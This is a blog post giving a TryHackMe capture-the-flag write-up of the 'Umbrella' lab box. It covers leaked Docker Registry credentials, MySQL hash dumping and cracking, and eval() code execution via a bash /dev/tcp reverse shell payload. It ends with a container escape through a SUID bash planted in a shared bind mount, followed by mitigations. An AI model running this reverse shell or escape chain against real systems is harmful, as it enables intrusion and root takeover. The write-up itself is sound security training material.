DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe : Umbrella Writeup

Introduction

Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an eval() code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.

Throughout this writeup, <machine-ip> refers to the target box and <attacker-ip> refers to the attacking Kali host.

Reconnaissance

Started with a standard aggressive Nmap scan against the target.

nmap -A -Pn <machine-ip> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.40
5000/tcp open  http    Docker Registry (API: 2.0)
8080/tcp open  http    Node.js (Express middleware)
Enter fullscreen mode Exit fullscreen mode

Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.

Checking the web app first:

curl http://<machine-ip>:8080/
Enter fullscreen mode Exit fullscreen mode

Returned a simple login form posting to /auth, nothing more without credentials.

The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.

Enumerating the Docker Registry

Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:

curl http://<machine-ip>:5000/v2/_catalog
Enter fullscreen mode Exit fullscreen mode
{"repositories":["umbrella/timetracking"]}
Enter fullscreen mode Exit fullscreen mode

One repository: umbrella/timetracking. Pulled its tags:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/tags/list
Enter fullscreen mode Exit fullscreen mode
{"name":"umbrella/timetracking","tags":["latest"]}
Enter fullscreen mode Exit fullscreen mode

Then pulled the image manifest for latest:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/manifests/latest
Enter fullscreen mode Exit fullscreen mode

The manifest's history array contains the full v1Compatibility build history for every layer, including every ENV instruction baked into the image at build time. Buried in the first history entry's config.Env list:

"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NODE_VERSION=19.3.0",
"YARN_VERSION=1.22.19",
"DB_HOST=db",
"DB_USER=root",
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5",
"DB_DATABASE=timetracking",
"LOG_FILE=/logs/tt.log"]
Enter fullscreen mode Exit fullscreen mode

A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.

MySQL Access and Credential Dump

The MySQL client failed initially over a self-signed cert:

mysql -h <machine-ip>
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain
Enter fullscreen mode Exit fullscreen mode

Disabling SSL verification and authenticating as root with the password pulled from the registry got a shell:

mysql -h <machine-ip> -u root --ssl=0 -p
Enter fullscreen mode Exit fullscreen mode
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+

MySQL [(none)]> use timetracking;
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
Enter fullscreen mode Exit fullscreen mode

Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. barry-b's time value was a massive outlier compared to the rest, which turned out to be relevant later.

Cracked all four hashes with John and rockyou:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Enter fullscreen mode Exit fullscreen mode
letmein          (?)
sunshine1         (?)
Password1         (?)
sandwich          (?)
4g 0:00:00:00 DONE
Enter fullscreen mode Exit fullscreen mode

Matched each cracked password back to its hash with echo -n <pass> | md5sum to build the full mapping:

user password
claire-r Password1
chris-r letmein
jill-v sunshine1
barry-b sandwich

Foothold

None of the four pairs worked against the web app's /auth endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only claire-r:Password1 authenticated successfully.

ssh claire-r@<machine-ip>
Enter fullscreen mode Exit fullscreen mode
claire-r@ip-<machine-ip>:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)
Enter fullscreen mode Exit fullscreen mode

Grabbed the user flag immediately:

claire-r@ip-<machine-ip>:~$ cat user.txt
THM{redacted}
Enter fullscreen mode Exit fullscreen mode

sudo -l confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.

Source Code Review and RCE

Claire's home directory contained a full copy of the app's source, timeTracker-src, including app.js, the docker-compose.yml, and a live-writable logs/ directory. The docker-compose.yml confirmed the container layout:

version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
    ports:
      - '3306:3306'
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs
Enter fullscreen mode Exit fullscreen mode

Critically, ./logs:/logs is a bind mount - the logs directory on the host filesystem is the exact same directory the app container writes to, and it's writable by claire-r (drwxrw-rw-).

The vulnerability was in app.js, in the /time route handler:

app.post('/time', function(request, response) {
    if (request.session.loggedin && request.session.username) {
        let timeCalc = parseInt(eval(request.body.time));
        let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;
        connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], ...);
    }
});
Enter fullscreen mode Exit fullscreen mode

The time field submitted on the "Increase time spent" form goes straight into eval(). The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.

Logged into the web app as claire-r:Password1, then submitted the following as the "time" value on /time:

require('child_process').exec('bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"')
Enter fullscreen mode Exit fullscreen mode

eval() executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:

root@de0610f51845:/usr/src/app# whoami
root
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

Root inside the container - but this is an isolated Docker container, not the host, and docker wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.

Privilege Escalation via Shared Log Volume

Since /logs inside the container is the same filesystem location as ~/timeTracker-src/logs on the host, and the app container is running as root, anything written to /logs from inside the container lands on the host owned by root - with the app's own filesystem permissions.

Confirmed the mount was shared by writing a test file from inside the container:

root@de0610f51845:~# echo 'test' > /logs/test
Enter fullscreen mode Exit fullscreen mode
claire-r@ip-<machine-ip>:~/timeTracker-src$ cat logs/test
test
Enter fullscreen mode Exit fullscreen mode

From there, the plan was simple: drop a copy of bash into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.

root@de0610f51845:~# cp /bin/bash /logs/bash
root@de0610f51845:~# chmod 4777 /logs/bash
Enter fullscreen mode Exit fullscreen mode

Back on the SSH session as claire-r:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ ls -la bash
-rwsrwxrwx 1 root root 1234376 Aug 24 10:16 bash
Enter fullscreen mode Exit fullscreen mode

SUID bit set, owned by root. Running it with -p to preserve privileges on exec:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ /home/claire-r/timeTracker-src/logs/bash -p
bash-5.1# whoami
root
Enter fullscreen mode Exit fullscreen mode

Root shell on the host. Grabbed the final flag:

bash-5.1# cat /root/root.txt
THM{redacted}
Enter fullscreen mode Exit fullscreen mode

Attack Chain Summary

  1. Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).
  2. Docker Registry API's manifest history leaks hardcoded MySQL root credentials via build-time ENV instructions.
  3. Those credentials authenticate directly to the exposed MySQL instance, dumping the app's users table (MD5 password hashes).
  4. rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.
  5. Credential pair claire-r:Password1 doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag.
  6. Local source code review of the app reveals an eval() on user-controlled input in the /time endpoint.
  7. Authenticated RCE via eval() gets a reverse shell as root - but inside an isolated Docker container.
  8. The container's docker-compose.yml shows a bind-mounted logs volume shared with the host. Root inside the container drops a SUID-root bash binary into that shared path.
  9. The host-side low-privilege user executes the now-SUID binary with -p, landing a root shell on the host itself and the root flag.

Key Vulnerabilities

  • Unauthenticated Docker Registry API exposing image manifests and build history to anyone on the network.
  • Hardcoded secrets in Docker image build args/ENV (DB_PASS baked directly into the image instead of injected at runtime via secrets management).
  • Directly internet/network-exposed database (MySQL bound to 0.0.0.0 reachable from outside the app container).
  • Weak, dictionary-crackable user passwords stored as unsalted MD5 hashes.
  • Unsafe use of eval() on user-controlled input, enabling authenticated remote code execution in the Node.js app.
  • Docker bind mount shared between a root-running container and a lower-privileged host user, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.

Mitigations

  • Require authentication (and TLS) on the Docker Registry API; never expose /v2/_catalog or manifest endpoints to untrusted networks.
  • Never bake credentials into image layers or ENV instructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history.
  • Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.
  • Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.
  • Never pass user input into eval(), Function(), or child_process.exec() without strict validation; use a safe math-expression parser (e.g. mathjs with restricted scope) if arithmetic input is genuinely needed.
  • Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount rw only for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides.
  • Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (--cap-drop=ALL) to reduce the blast radius of an in-container RCE.

Top comments (0)